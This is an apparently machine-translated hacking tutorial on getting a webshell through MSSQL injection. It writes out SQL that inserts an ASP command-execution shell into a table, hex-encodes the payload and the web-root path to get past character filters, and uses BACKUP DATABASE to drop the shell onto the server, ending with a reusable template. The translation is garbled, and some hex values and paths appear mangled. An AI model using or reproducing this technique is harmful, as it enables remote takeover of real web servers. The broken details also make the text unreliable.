Special Character Breakthrough: Mssql Backup a Shell

1. Insert data

Mssql injection uses Backup or makewebtask to get webshell. When writing webshell code, if some special characters such as "are filtered out. Let's first "query" in the mssql Analyzer ":

Use pubs; <== use data to cry pubs
Create table cmd (str image); <== create a table cmd a column with an attribute of image
Insert into cmd (str) values (<% execute request ("cmd") & "" %>) <=== insert data as <% execute request ("cmd ") & "" %>
Select * from cmd; <== query all data in the output cmd.

The query output str is:
0x3c256578656375721320109571756573742822636d642229262222253e

No matter what data is inserted into str, it will be automatically converted to hex Encoding in the database, so we can directly change the insert into data in the preceding SQL statement to hex Encoding:

Use pubs
Create table cmd (str image)
Insert into cmd (str) values (0x3c256578656375721320109571756573742822636d642229262222253e)
Select * from cmd

The query output str is:
0x3c256578656375721320109571756573742822636d642229262222253e

The result is the same for the two methods, but the data inserted in the 2nd methods is not "& and so on.

2. Export path

The general statement for exporting webshell after inserting data is:

Backup database model to disk = g: wwwtestl. asp;

Obviously, the export path contains: Wait, so we can use hex Encoding to break through:

Declare @ a sysname
Select @ a = 0x673a5c7777746573745c6c2e617370 <= 0x673A5C777777746573745C6C2E617370 is g: wwwtestl. hex Code corresponding to asp
Backup database pubs to disk = @

Run the query to export the webshell.

3. Summary:

Combined with 1, 2, we can get the complete SQL statement format for exporting webshell:

Use model
Create table cmd (str image)
Insert into cmd (str) values (0x ***********)
Declare @ a sysname select @ a = 0x ********** backup database pubs to disk = @;

In fact, using hex and Other encoding methods, I mentioned in angel's article "repeat (single quotes) restriction to continue injection". I just copied it. You can also move it to other places to pull it :).

4. Check the article:

RAO (single quotes) restriction continues to input http://www.4ngel.net/article/14.htm
What is the http://safer.cnwill.com/show.php of realizing Backup a shell in MSSQL? Id = 469
Convert hex script (aschex. pl) http://www.4ngel.net/project/aschex.txt